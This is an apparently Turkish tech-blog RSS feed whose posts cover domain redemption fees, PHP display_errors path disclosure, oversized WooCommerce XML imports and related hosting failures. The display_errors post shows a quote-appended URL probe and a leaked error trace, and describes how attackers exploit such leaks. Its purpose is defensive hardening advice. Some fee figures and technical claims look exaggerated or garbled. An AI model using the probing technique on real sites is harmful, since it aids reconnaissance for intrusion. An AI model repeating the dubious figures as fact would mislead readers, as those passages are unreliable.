<p>Aşırı yetki güç değil, felakettir. Yerleri temizleyeceğim diye hastanenin tüm kapılarını kilitleyen başhekim nasıl tüm sağlık sistemini kilitliyorsa; "kolaylık olsun" diye cron'u root ile koşturan sistem yöneticisi de kendi uygulamasının celladı olur. Linux'ta yetki hiyerarşisi keyfi bir bürokrasi değildir; sistemin kendi kendini imha etmesini engelleyen en kutsal emniyet subabıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Cron</category>
            <category>root</category>
            <category>Linux İzinleri</category>
            <category>PHP</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucuda-root-ile-calistirilan-cron-joblar-ve-dosya-izinleri-permission-kaosu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Domain 'Grace Period' Kazığı": Geri Alma Ücretinin Tescil Ücretini 10'a Katlaması]]></title>
            <link>http://localhost:3000/blog/post/domain-grace-period-kazigi-geri-alma-ucretinin-tescil-ucretini-10a-katlamasi</link>
            <guid>domain-grace-period-kazigi-geri-alma-ucretinin-tescil-ucretini-10a-katlamasi</guid>
            <pubDate>Sun, 08 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[10 dolarlık alan adı yenileme faturasını 40 gün boyunca ödemeyip "Redemption Grace Period" cezasına düşüren müşterinin, 150 dolarlık ICANN geri alma harcını (Restore Fee) görünce hosting firmasını soyguncu ilan etmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/domain-grace-period-kazigi-geri-alma-ucretinin-tescil-ucretini-10a-katlamasi/thumbnail" alt=""> Kronik bir kalp veya diyabet hastasının klinik öyküsünü düşünün. Hekim reçeteyi yazar: <em>"Her sabah bu 10 liralık tansiyon hapını düzenli alacaksınız."</em> İlaç ucuzdur, eczanede her an bulunabilir, erişimi zahmetsizdir.</p>
<p>Fakat hasta o ilacı almayı erteler: <em>"Bugün unuttum, yarın alırım, haftaya bakarız, acelesi yok..."</em> İki ay geçer. Tansiyon sinsice damar duvarlarını tahrip eder. Ve bir gece yarısı hasta acil servisin resüsitasyon odasına masif aort diseksiyonu veya tıkalı üç koroner damarla, bilinci kapalı getirilir. Acil kalp cerrahisi ekibi toplanır; 8 saatlik açık kalp ameliyatı, yoğun bakım günleri, yapay kalp pompaları devreye girer. Hastaneden çıkan fatura: Yüz binlerce lira! Hasta yakını yoğun bakım kapısında faturayı görünce başhekime bağırır: <em>"Bir hap 10 liraydı, siz bizden nasıl 100 bin lira istersiniz? Soyguncu musunuz?"</em> Oysa o devasa fatura hapın fiyatı değil; zamanında alınmayan o ucuz hapın doğurduğu ölüm kalım savaşının bedelidir.</p>
<p>Alan adı tescili ve web altyapısı dünyasında da müşterilerin en çok şok yaşadığı, destek masalarını en çok ateşe verdiği finansal travma tam olarak bu aort cerrahisi faturasıdır: <strong>10 dolarlık domain yenilemesini ihmal edip "Redemption Grace Period" tuzağına düşmek ve 150 dolarlık kurtarma harcıyla (Restore Fee) yüzleşmek.</strong></p>
<h3>40 Günlük Rehavet: "Aman Canım Bir Ara Öderim"</h3>
<p>Olay genellikle şirketin veya kişisel bir web sitesinin alan adı süresinin dolmasıyla başlar.</p>
<p>1 Ocak tarihinde alan adının 1 yıllık tescil süresi biter. Alan adı kayıt kuruluşu (Registrar), müşteriye peş peşe e-postalar gönderir:</p>
<ul>
<li><em>"Sayın müşterimiz, alan adınızın süresi doldu. 12 dolarlık faturanızı ödeyerek süreyi uzatabilirsiniz."</em></li>
</ul>
<p>İlk 30 ila 40 gün <strong>"Auto-Renew Grace Period" (Yenileme Tolerans Süresi)</strong> olarak adlandırılır. Bu süre içinde alan adı yayından düşer; ancak müşteri istediği an normal yenileme ücretini (10-12 dolar) ödeyerek alan adını hiçbir ceza ödemeden anında geri açabilir.</p>
<p>Fakat bizim müşterimiz o meşhur Türk esnafı rahatlığı içindedir:<br>
<em>"Aman canım sitemiz kapalı kalsın ne olacak? Zaten kış sezonundayız, martta açarım. Parayı şimdi niye vereyim, domain benim değil mi, benden başkası alamaz ya!"</em></p>
<p>Kullanıcı zanneder ki alan adı bir apartman dairesi gibidir; tapusu cebindedir ve anahtarı istediği zaman cebinden çıkarıp kapıyı açabilir.</p>
<p>Oysa internetin kurucu otoritesi <strong>ICANN (Internet Corporation for Assigned Names and Numbers)</strong>, alan adı dünyasını acımasız ve saat gibi işleyen bir otomasyonla yönetir.</p>
<h3>41. Gün: Redemption Kurgusu ve 150 Dolarlık Duvar</h3>
<p>Tolerans süresi olan 40 gün bittiğinde, kayıt kuruluşu alan adını ICANN kök sunucularından resmi olarak silme sürecine (<strong>Pending Delete</strong>) sokar.</p>
<p>Ve alan adı <strong>"Redemption Grace Period" (RGP - Ceza ve Kurtarma Periyodu)</strong> statüsüne düşer:</p>
<pre><code class="language-text">Domain Status: redemptionPeriod (https://icann.org/epp#redemptionPeriod)
</code></pre>
<p>Bu statü, alan adının silinmeden önceki son 30 günlük "yoğun bakım" aşamasıdır.</p>
<p>Kullanıcı şubat ayının ortasında keyifle hosting firmasının paneline girer: <em>"Hadi şu 10 doları ödeyeyim de sitem açılsın."</em></p>
<p>Fatura ekranına tıklar. Ve ekranda gördüğü rakam karşısında gözleri yuvalarından fırlar:</p>
<blockquote>
<p><strong>Alan Adı Kurtarma Bedeli (Restore Fee): 140.00 USD</strong><br>
<strong>1 Yıllık Yenileme Ücreti: 12.00 USD</strong><br>
<strong>TOPLAM ÖDENECEK TUTAR: 152.00 USD (Yaklaşık 5.500 TL!)</strong></p>
</blockquote>
<p>Kullanıcının tansiyonu 200'e fırlar. Masayı yumruklar, hemen destek hattını arar:</p>
<blockquote>
<p><em>"Siz hırsız mısınız! 10 dolarlık alan adına benden 150 dolar nasıl istersiniz? Beni mi dolandırıyorsunuz? Tüketici Hakem Heyeti'ne gideceğim, savcılığa vereceğim sizi! 10 dolarlık şeyi 150 dolara satmak hangi kitapta yazar?"</em></p>
</blockquote>
<h3>Bu 150 Dolar Kimin Cebine Giriyor?</h3>
<p>Destek mühendisi sakin bir sesle durumu izah etmek zorundadır. Çünkü müşterilerin %99'u bu 150 doların hosting firmasının kârı olduğunu zanneder!</p>
<p>Oysa gerçek çok farklıdır:</p>
<ol>
<li><strong>Veri Tabanından Geri Çağırma Harcı:</strong> Bir alan adı <code>redemptionPeriod</code> statüsüne girdiğinde, küresel üst düzey alan adı operatörünün (Registry - Örneğin <code>.com</code> için <strong>Verisign</strong>) ana sicil defterinden silinme kuyruğuna alınmıştır.</li>
<li><strong>ICANN ve Registry Cezası:</strong> Verisign ve ICANN, bir alan adını silinme kuyruğundan geri çekmek (Restore / Undelete) için aracı kayıt operatörlerine resmi olarak <strong>100 ila 120 dolar arasında</strong> sabit bir ceza harcı (Registry Restore Surcharge) keser!</li>
<li><strong>Hosting Firmasının Rolü:</strong> Hosting firması bu bedelin üzerine sadece 15-20 dolarlık operasyonel işlem masrafını koyar. Yani o 150 doların 120 doları doğrudan Verisign'ın kasasına gider!</li>
</ol>
<p>Müşteriye denir ki: <em>"Ahmet Bey, bu parayı biz belirlemiyoruz. Küresel tescil otoritesi Verisign bu cezayı kesiyor. Eğer bu parayı ödemezseniz alan adı silinme sürecine girecek ve 30 gün sonra tamamen boşa düşecek."</em></p>
<h3>Çakalların Pususu: Dropcatch ve Backorder Botları</h3>
<p>Müşteri bu kez ikinci tehlikeli kurnazlığa başvurur:<br>
<em>"Ben enayimiyim 150 dolar vereyim? Ödemiyorum! 30 gün beklerim, domain boşa düşünce gider yine 10 dolara sıfırdan tescil ederim!"</em></p>
<p>İşte bu karar, şirketin dijital tapusunu kendi elleriyle mezata çıkarmaktır!</p>
<p>İnternet dünyasında <strong>Dropcatch, NameJet, SnapNames</strong> gibi milyar dolarlık "alan adı avcısı" (Domain Snipers) bot orduları vardır. Bu botlar dünyada boşa düşecek olan her değerli alan adını saniyenin binde birinde takip eder.</p>
<p>Sizin 10 yıllık, Google'da otoritesi olan, yüzlerce müşterinin bildiği <code>sirketadi.com</code> alan adınız boşa düştüğü saniyede:</p>
<ul>
<li>Siz evinizde tarayıcıyı yenileyip formu doldurana kadar (ortalama 10 saniye),</li>
<li>O botlar alan adını <strong>milisaniyenin onda birinde (0.001 sn)</strong> kapar!</li>
</ul>
<p>Ve ertesi gün o alan adının ana sayfasına Çin kumar reklamları, bahis siteleri yerleştirilir. Alan adını geri almak istediğinizde ise karşınızdaki bot komisyoncusu sizden 150 dolar değil; <strong>5.000 ila 10.000 DOLAR</strong> fidye talep eder!</p>
<p>Müşteri o 150 dolarlık cezayı ödemediği için, 10 yıllık markasını sonsuza kadar kaybetmiş olur.</p>
<h3>İhmalin Faturasını Ödememe Protokolü</h3>
<p>Zamanında alınmayan 10 liralık tansiyon ilacının yoğun bakım faturası doğurması gibi; zamanında ödenmeyen 10 dolarlık domain de 150 dolarlık ceza doğurur. Bu trajediden korunmanın reçetesi basittir:</p>
<ol>
<li><strong>Alan Adını Asla Son Güne Bırakmayın:</strong> Tescil süresinin dolmasına 30 gün kala yenileyin.</li>
<li><strong>Kredi Kartını Otomatik Ödemeye Tanımlayın:</strong> Tescil panelinizde geçerli bir kurumsal kart bulundurun ve otomatik yenileme (Auto-Renew) özelliğini açık tutun.</li>
<li><strong>Çok Yıllık Tescil Edin:</strong> Kritik kurumsal alan adlarınızı yıllık değil; 5 veya 10 yıllık uzatın. Böylece 10 yıl boyunca hiçbir ceza veya unutkanlık riski yaşamazsınız.</li>
<li><strong>Redemption'a Düşen Değerli Alan Adını Kurtarın:</strong> Eğer kritik bir ticari markanız kazara bu aşamaya düştüyse; gurur yapıp botlara kaptırmak yerine o 150 dolarlık cezayı bir "ihmalkarlık vergisi" olarak ödeyip alan adınızı derhal kurtarın.</li>
</ol>
<p>Zamanında ödenmeyen küçük faturalar, dijital dünyada her zaman büyük krizlerin öncüsüdür. İhmal bir hak değildir; kuralların tavizsiz işlediği küresel bir ekosistemde ihmalkârlığın bedeli her zaman çok ağır ödenir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>Grace Period</category>
            <category>Redemption</category>
            <category>ICANN</category>
            <category>Tescil</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/domain-grace-period-kazigi-geri-alma-ucretinin-tescil-ucretini-10a-katlamasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Test Sunucusunda display_errors = On Unutan" Yazılımcı ve İfşa Olan Path'ler]]></title>
            <link>http://localhost:3000/blog/post/test-sunucusunda-display_errors--on-unutan-yazilimci-ve-ifsa-olan-pathler</link>
            <guid>test-sunucusunda-display_errors--on-unutan-yazilimci-ve-ifsa-olan-pathler</guid>
            <pubDate>Sat, 07 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Geliştirme ortamından canlıya çıkarken PHP yapılandırmasındaki display_errors parametresini kapatmayı unutan yazılımcının, ufak bir veritabanı uyarısında tüm sunucu dizin haritasını ve kullanıcı adlarını saldırganlara ifşa etmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/test-sunucusunda-display_errors--on-unutan-yazilimci-ve-ifsa-olan-pathler/thumbnail" alt=""> Adli tıp ve cerrahi mahremiyetinde en katı kurallardan biri, bir hastanın ameliyat sırasındaki anatomik görüntülerinin ve iç organlarının halka açık sergilenememesidir. Bir ameliyathanenin pencereleri buzlu camdır, kapıları kapalıdır.</p>
<p>Şimdi gözünüzün önüne şöyle bir sahne getirin: Cerrah, açık batın ameliyatı yaptığı bir hastanın operasyon salonunun perdelerini sonuna kadar açıyor, hastanenin ana giriş koridorundaki devasa LCD ekranlara canlı yayın veriyor. Ekranda hastanın aort damarının nereden geçtiği, karaciğerindeki gizli bir damar anomalisi, safra kanalının milimetrik koordinatları ve hastanın kimlik numarası sokaktan geçen herkesin gözünün önüne seriliyor. Sokaktaki kötü niyetli bir saldırgan o ekranı izliyor; hastanın en zayıf noktasını, hangi damarının dikiş tutmadığını öğreniyor ve ameliyat sonrasında o noktaya tek bir darbe indirerek hastayı öldürüyor! Hatanın veya iç yapının ortalığa saçılması, saldırgana hedefini altın tepside sunmaktır.</p>
<p>Web güvenliğinde ve yazılım mimarisinde de her gün binlerce web sitesinin siber korsanlara kendi zafiyet haritasını hediye ettiği en acemice ve tehlikeli ihmal tam olarak bu açık yayın skandalıdır: <strong>Canlı (production) sunucuda PHP <code>display_errors = On</code> ayarını açık unutmak ve Tam Dizin İfşası (Full Path Disclosure - FPD).</strong></p>
<h3>"Hata Olursa Göreyim Diye Açmıştım"</h3>
<p>Senaryo kurumsal bir projede veya e-ticaret sitesinde sıkça tekrarlanır. Geliştirici projeyi yerel bilgisayarında kodlarken, kodun neresinde hata olduğunu hemen ekranda görebilmek için PHP'nin hata gösterme özelliğini açmıştır:</p>
<pre><code class="language-ini">display_errors = On
display_startup_errors = On
error_reporting = E_ALL
</code></pre>
<p>Geliştirici projeyi tamamlar. Kodları canlı sunucuya aktarır. Ancak <code>php.ini</code> veya kodun tepesindeki o hata gösterme satırını kapatmayı unutur!</p>
<p>Kendi kendine düşünür: <em>"Aman ne olacak, kodumda zaten hata yok ki! Hata çıkarsa da ne olduğunu hemen anlarım."</em></p>
<p>İşte bu düşünce, siber güvenlik dünyasındaki en ölümcül yanılgıdır.</p>
<h3>Ufak Bir Parametre ve İfşa Olan Gizli Harita</h3>
<p>Siteye giren sıradan bir kullanıcı normal sayfaları gezerken hiçbir sorun görmez. Fakat siteyi hedef alan bir siber saldırgan veya otomatik bir güvenlik botu, URL'deki parametrelerle oynamaya başlar:</p>
<pre><code class="language-text">https://sirketadi.com.tr/urun.php?id=9999999999'
</code></pre>
<p>Korsan, parametrenin sonuna tek bir tek tırnak (<code>'</code>) işareti koyar. Veritabanı sorgusu bozulur, veritabanı boş yanıt döner.</p>
<p>Ve <code>display_errors = On</code> olduğu için, kullanıcının karşısına şık bir "Ürün bulunamadı" sayfası yerine; sayfanın en tepesinde turuncu ve kırmızı harflerle basılmış o korkunç PHP hata çıktısı fırlatır:</p>
<pre><code class="language-text">Warning: mysqli_fetch_assoc(): Couldn't fetch mysqli_result in 
/home/ahmet_holding2026/public_html/app/Controllers/ProductController.php on line 142

Fatal error: Uncaught Exception: Database query failed. User: u_ahmet_db, 
Host: 10.0.4.12 in /home/ahmet_holding2026/public_html/system/Database/MySQLi.php:88
Stack trace:
#0 /home/ahmet_holding2026/public_html/index.php(42): App\Controllers...
</code></pre>
<p>Kullanıcı için anlamsız görünen bu 5 satırlık hata çıktısı, bir siber korsan için paha biçilemez bir hazine haritasıdır!</p>
<h3>Saldırgana Hediye Edilen Gizli İstihbarat (FPD)</h3>
<p>Korsan o tek bir hata mesajını okuyarak sunucu hakkında şunları öğrenmiştir:</p>
<ol>
<li><strong>İşletim Sistemi ve Kullanıcı Adı:</strong> Sunucunun Linux olduğunu ve cPanel kullanıcı adının <strong><code>ahmet_holding2026</code></strong> olduğunu! Artık SSH brute-force yaparken kullanıcı adı tahmin etmekle uğraşmayacaktır; doğrudan bu kullanıcıyı hedef alacaktır.</li>
<li><strong>Fiziksel Dizin Yapısı (Full Path Disclosure):</strong> Web dosyalarının <code>/var/www/</code> altında değil, <code>/home/ahmet_holding2026/public_html/</code> altında yaşadığını! Bir LFI (Local File Inclusion) açığı bulduğunda, dosya yolunu körlemesine denemek yerine doğrudan bu yolu hedef alacaktır.</li>
<li><strong>Yazılım Mimarisi ve Framework:</strong> Sitenin özel bir MVC yapısı kullandığını, <code>ProductController.php</code> ve <code>MySQLi.php</code> dosyalarının hangi satırlarda ne iş yaptığını!</li>
<li><strong>Veritabanı Kullanıcı Adı ve Dahili IP:</strong> Veritabanı kullanıcısının <code>u_ahmet_db</code> olduğunu ve veritabanı sunucusunun yerel ağda <code>10.0.4.12</code> IP'sinde barındığını!</li>
</ol>
<p>Saldırgan tek bir hamle dahi yapmadan, sunucunun tüm iç röntgenini çekmiş; savunmanın en zayıf noktalarını milimetrik olarak haritalandırmıştır.</p>
<h3>Canlı Ortamda Hata Yönetimi Protokolü</h3>
<p>Gerçek bir yazılım mühendisliğinde canlı ortamda hata gizlemek, hatayı örtbas etmek değil; sistemin mahremiyetini yabancı gözlere karşı mühürlemektir:</p>
<ol>
<li><strong>Canlıda <code>display_errors</code> Kesinlikle "Off" Olmalıdır:</strong><br>
Canlı sunucunun <code>php.ini</code> dosyasında şu iki kural tavizsiz bir şekilde uygulanmalıdır:
<pre><code class="language-ini">display_errors = Off
display_startup_errors = Off
</code></pre>
</li>
<li><strong>Hataları Ekrana Değil, Dosyaya Yazın (<code>log_errors</code>):</strong><br>
Hataları ziyaretçiden gizlerken, yazılımcının inceleyebilmesi için güvenli bir hata günlüğüne kaydetmek zorunludur:
<pre><code class="language-ini">log_errors = On
error_log = /var/log/php/error.log ; (Webden erişilemeyen gizli bir dizin!)
</code></pre>
Böylece sistemde bir hata olduğunda ziyaretçi hiçbir şey görmez; geliştirici ise SSH ile sunucuya girip hatayı sessizce analiz eder.</li>
<li><strong>Kullanıcı Dostu Hata Sayfaları (Custom 500 Pages):</strong><br>
Uygulamanız beklenmeyen bir hatayla karşılaştığında, ekrana teknik detay basmak yerine zarif ve kurumsal bir sayfa gösterin:<br>
<em>"Üzgünüz, teknik bir aksaklık yaşandı. Mühendislerimiz konuyla ilgileniyor."</em></li>
<li><strong>Hata Takip Servisleri (Sentry / Bugsnag):</strong><br>
Modern uygulamalarda hataları yerel loglardan takip etmek yerine <strong>Sentry</strong> gibi araçlara entegre edin. Bir hata patladığı saniyede geliştiricinin Slack veya e-posta adresine tüm detaylar şifreli olarak aksın; canlı ekranda tek bir harf bile sızmasın.</li>
</ol>
<p>Ameliyat masasındaki hastanın iç organlarını caddeye yayınlayan cerrah nasıl bir suç işliyorsa; canlı sunucuda <code>display_errors = On</code> bırakıp tüm dizin haritasını siber saldırganlara sergileyen geliştirici de öyle bir güvenlik ihlali içindedir. Hatalar ekranda değil, güvenli logların karanlığında çözülür. Altyapınızın haritasını düşmana hediye etmeyin; mahremiyet, siber güvenliğin ilk ve en sarsılmaz kalesidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>display_errors</category>
            <category>Siber Güvenlik</category>
            <category>Full Path Disclosure</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/test-sunucusunda-display_errors--on-unutan-yazilimci-ve-ifsa-olan-pathler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["E-Ticarete Giren Esnafın '1 Milyon Sku' Yükleme Sevdası" ve Yıkılan RAM]]></title>
            <link>http://localhost:3000/blog/post/e-ticarete-giren-esnafin-1-milyon-sku-yukleme-sevdasi-ve-yikilan-ram</link>
            <guid>e-ticarete-giren-esnafin-1-milyon-sku-yukleme-sevdasi-ve-yikilan-ram</guid>
            <pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllık 200 TL ödediği 1 GB RAM kotalı paylaşımlı hosting paketine WooCommerce kurup, tedarikçisinden aldığı 600 MB'lık ve 1 milyon ürünlük XML dosyasını tek seferde içeri aktarmaya çalışan esnafın sunucuyu komaya sokması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/e-ticarete-giren-esnafin-1-milyon-sku-yukleme-sevdasi-ve-yikilan-ram/thumbnail" alt=""> Acil cerrahi ve gastroenteroloji kliniklerinde çok nadir görülen ancak karşılaşıldığında hekimleri dehşete düşüren bir acil durum vardır: "Akut Masif Gastrik Dilatasyon ve Mide Perforasyonu". İnsan midesi elastik bir organdır; ortalama 1.5 ila 2 litre hacme kadar genişleyebilir. Şimdi aşırı yeme bozukluğu olan bir hastanın veya şuursuz birinin, tek bir oturuşta 15 kilogram katı gıdayı ve litrelerce sıvıyı çiğnemeden midesine tıkıştırdığını hayal edin!</p>
<p>Mide o devasa hacim karşısında devasa bir balona döner. Diyaframa yukarıdan öyle bir mekanik bası yapar ki hasta nefes alamaz; ana toplardamarlar ezildiği için kalbe kan dönemez. Ve en sonunda mide duvarı o basınca dayanamayarak yırtılır (perforasyon); mide asidi ve sindirilmemiş kilolarca besin karın boşluğuna (periton) akar. Hasta dakikalar içinde masif septik şoktan hayatını kaybeder. Mideyi öldüren şey besinin kalitesi değil; fizyolojik kapasiteyi hiçe sayan oburca bir hacim çılgınlığıdır.</p>
<p>Web barındırma ve e-ticaret altyapılarında da destek ekiplerini hem güldüren hem de çıldırtan en absürt krizlerden biri tam olarak bu gastrik patlama felaketidir: <strong>Yıllık maliyeti bir akşam yemeği parasını geçmeyen paylaşımlı hosting paketine WooCommerce kurup, tek seferde 1 milyon ürünlük (SKU) devasa bir XML envanterini boca etmeye kalkışmak.</strong></p>
<h3>"Tedarikçim XML Verdi, Zengin Oluyorum!"</h3>
<p>Senaryo her defasında benzer bir heves ve derin bir altyapı cehaletiyle başlar. Geleneksel ticaretle uğraşan bir esnaf veya yeni bir e-ticaret girişimcisi, Çin'den veya Tahtakale'deki büyük bir toptancıdan bayilik (dropshipping) almıştır.</p>
<p>Toptancı firmaya bir link verir: <code>https://toptanci.com/xml/tum_urunler.xml</code>.</p>
<p>Dosya boyutuna kimse bakmaz: <strong>Tam 650 Megabayt!</strong></p>
<p>İçinde vida, cıvata, cep telefonu kılıfı, oto aksesuarı dahil tam <strong>1.000.000 (Bir Milyon) adet ürün</strong>, her bir ürünün 5 farklı fotoğrafı, detaylı teknik açıklamaları, kategori ağaçları ve varyantları vardır!</p>
<p>Girişimcimiz hemen yıllık 200 TL'ye en ucuzundan standart bir paylaşımlı cPanel hosting paketi satın alır. Üzerine tek tıkla bir WordPress ve WooCommerce kurar.</p>
<p>Ardından bir eklenti yükler: <em>"WP All Import"</em> veya <em>"Otomatik XML İçe Aktarıcı"</em>.</p>
<p>Dosya linki yapıştırılır, ayarlar yapılır ve o ölümcül buton tıklanır: <strong>"İçe Aktarımı Başlat (Run Import)"</strong>.</p>
<p>Ve arkanıza yaslanıp kahvenizi yudumlarsınız: <em>"1 milyon ürünüm yüklenecek, yarın sabah Trendyol'a rakip olacağım!"</em></p>
<h3>Sunucunun Midesinde Patlama: Out of Memory Cinneti</h3>
<p>İşlem başlar. Eklenti o 650 MB'lık devasa XML dosyasını sunucunun geçici hafızasına (RAM) indirmeye çalışır.</p>
<p>Fakat kullanıcının barındığı paylaşımlı sunucuda CloudLinux LVE kalkanı devrededir. Kullanıcıya ayrılan fiziksel RAM tavanı: <strong>1 GB (1024 MB)</strong>.</p>
<p>PHP'nin <code>memory_limit</code> değeri ise varsayılan olarak <strong>256 MB</strong>'tır!</p>
<p>PHP motoru o devasa XML ağacını parçalamaya (parse etmeye) başlar. SimpleXML veya DOMDocument kütüphanesi, 650 MB'lık ham metni belleğe açtığında her bir düğüm için nesneler türetir. 650 MB'lık XML, bellekte tam <strong>3.5 Gigabaytlık</strong> bir hafıza canavarına dönüşür!</p>
<p>Daha 40. saniyede, ilk 5.000 ürün okunurken hafıza tavanına toslar. Ekranda o kaçınılmaz hata patlar:</p>
<pre><code class="language-text">Fatal error: Allowed memory size of 268435456 bytes exhausted 
(tried to allocate 84218820 bytes) in /home/esnaf/public_html/wp-content/plugins/
wp-all-import/classes/parse.php on line 412
</code></pre>
<p>Kullanıcı cPanel'e girer, <code>memory_limit</code> değerini 1024M yapar. Tekrar başlatır.</p>
<p>Bu kez PHP sınırı değil, CloudLinux'un fiziksel RAM sınırı patlar! Sunucu işlemcisi o milyonlarca düğümü döngüye sokarken tek çekirdeği %100 kilitler. Disk I/O sınırı aşılır. CloudLinux çekirdeği sunucudaki diğer 200 masum siteyi korumak için giyotini indirir:</p>
<blockquote>
<p><strong>508 Resource Limit Is Reached</strong><br>
<em>(Kaynak Limitleri Aşıldı!)</em></p>
</blockquote>
<p>Site kilitlenir, veritabanı kilitlenir, sunucu komaya girer.</p>
<h3>"Sunucunuz Benim Ürünlerimi Kaldıramıyor!"</h3>
<p>Kullanıcı çılgına döner. Destek masasına büyük harflerle bilet açar:</p>
<blockquote>
<p><em>"Siz nasıl bir firmasınız! Bir XML dosyasını bile içeri aktaramıyor sunucunuz! 'Memory limit' hatası verip duruyor. Benim 1 milyon ürünüm var, hepsi yüklenmek zorunda! Milyonluk ticaretimi engelliyorsunuz, hemen sunucunun sınırlarını kaldırın, hepsini içeri aktarsın!"</em></p>
</blockquote>
<p>Destek mühendisi saçını başını yolar. Kullanıcıya matematiğin ve fizik kanunlarının sınırlarını anlatmak zorundadır:</p>
<p><em>"Ahmet Bey, 1 milyon ürün demek; WooCommerce veritabanında her ürün için yaklaşık 15 satır meta verisi (<code>wp_postmeta</code>) demektir. Yani veritabanınıza tek bir oturumda <strong>15 MİLYON satır veri</strong> yazmaya çalışıyorsunuz! Her ürünün 3 fotoğrafı olsa, sunucuya dışarıdan 3 milyon adet resim indirilecek demektir. Bu işlem tek başına 200 GB disk alanı ve devasa bir bellek gerektirir. Yıllık 200 liralık paylaşımlı bir hosting paketinde 1 milyon ürünü tek tıkla içeri aktaramazsınız!"</em></p>
<p>Kullanıcının cevabı değişmez: <em>"Bana ne teknik detaydan, sınırsız hosting demediniz mi? Sınırsızsa alsın işte!"</em></p>
<h3>Bir Milyon Ürünü Yönetmenin Gerçek Mühendislik Mimarisi</h3>
<p>Bir bakkal dükkânına 100 tırlık malı aynı anda sokamazsınız; bunun için organize bir lojistik antreponuz, vinçleriniz ve dağıtım filonuz olmak zorundadır. 1 milyon SKU'luk bir e-ticaret altyapısını yönetmenin gerçek mimari gereksinimleri şunlardır:</p>
<ol>
<li><strong>Paylaşımlı Hosting Değil, Özel Sunucu (Dedicated Server):</strong> Bu ölçekte bir envanter için en az 64 GB ECC RAM'li, yüksek hızlı NVMe disk dizilerine (RAID 10) sahip bağımsız bir fiziksel sunucu şarttır.</li>
<li><strong>Asenkron Kuyruk Mimarisi (CLI &#x26; Queue Workers):</strong> 1 milyon ürün asla web tarayıcısı üzerinden, tek bir HTTP oturumuyla yüklenemez! Bu işlem terminal üzerinden, PHP CLI ile ve arka planda <strong>RabbitMQ veya Redis BullMQ</strong> kuyrukları kullanılarak parçalanmalıdır. Her dakikada 500 ürün işlenir; bellek asla şişirilmez.</li>
<li><strong>XML Streaming (XMLReader):</strong> Tüm 650 MB'lık dosyayı belleğe yükleyen ilkel kütüphaneler yerine, dosyayı satır satır akıtan (streaming) <code>XMLReader</code> kütüphanesi kullanılmalıdır. Böylece 1 GB'lık XML bile sadece 20 MB RAM tüketilerek okunur.</li>
<li><strong>Elasticsearch / Meilisearch Arama Katmanı:</strong> 1 milyon ürünün bulunduğu bir MySQL veritabanında standart <code>LIKE '%arama%'</code> sorgusu atarsanız veritabanı çöker! Ürün aramaları ve filtrelemeleri için mutlaka harici bir <strong>Elasticsearch</strong> kümesi kurulmalıdır.</li>
</ol>
<p>On beş kilo yemeği tek hamlede yutup midesi patlayınca aşçıyı suçlayan hasta ne kadar trajikomikse; 1 milyon ürünü 200 liralık paylaşımlı pakete tıkıp sunucuyu kilitleyen esnaf da o kadar büyük bir yanılgı içindedir. Ticaret hayallerle başlar; ancak o hayalleri ayakta tutan şey hayallerin büyüklüğüne yakışan doğru ve profesyonel mühendislik altyapısıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Ticaret</category>
            <category>XML Import</category>
            <category>WooCommerce</category>
            <category>RAM</category>
            <category>Paylaşımlı Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/e-ticarete-giren-esnafin-1-milyon-sku-yukleme-sevdasi-ve-yikilan-ram/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP file_get_contents() İle Dışarıdan Veri Çeken" ve Kilitlenen Sayfalar]]></title>
            <link>http://localhost:3000/blog/post/php-file_get_contents-ile-disaridan-veri-ceken-ve-kilitlenen-sayfalar</link>
            <guid>php-file_get_contents-ile-disaridan-veri-ceken-ve-kilitlenen-sayfalar</guid>
            <pubDate>Thu, 05 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sitenin ana sayfasına canlı döviz kuru veya hava durumu koymak için zaman aşımı (timeout) tanımlamadan file_get_contents kullanan yazılımcının, harici sunucu yavaşlayınca kendi tüm sunucusunu 504 Gateway Timeout ile kilitlemesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-file_get_contents-ile-disaridan-veri-ceken-ve-kilitlenen-sayfalar/thumbnail" alt=""> Diyaliz ve yoğun bakım servislerinde hekimlerin en çok dikkat ettiği mekanizmalardan biri "Ekstrakorporeal Dolaşım"dır (Vücut dışı kan devridaimi). Kronik böbrek yetmezliği olan hastanın kanı damardan alınır, steril hortumlarla diyaliz makinesine gönderilir, filtre edilir ve tekrar hastanın bedenine pompalanır. Bu sistemde hayati emniyet sensörleri vardır: Eğer diyaliz makinesinin pompası durursa veya filtre tıkanırsa, makine saniyenin onda birinde klempleri sıkar, kanı hastanın vücuduna geri yönlendirir ve alarm çalar.</p>
<p>Şimdi düşünün ki o makinede hiçbir zaman aşımı (timeout) veya emniyet subapı yoktur. Dışarıdaki makinenin elektriği kesilir, pompa durur. Hastanın tüm kanı o harici makinenin içinde rehin kalır; kalbe kan dönemez, kan pıhtılaşır ve hasta masanın üzerinde hipovolemik şoktan hayatını kaybeder! Hastanın kendi organları sapasağlamdır; fakat dışarıdaki yabancı bir cihazın arızası, hastanın tüm dolaşım sistemini bir anda durdurmuştur.</p>
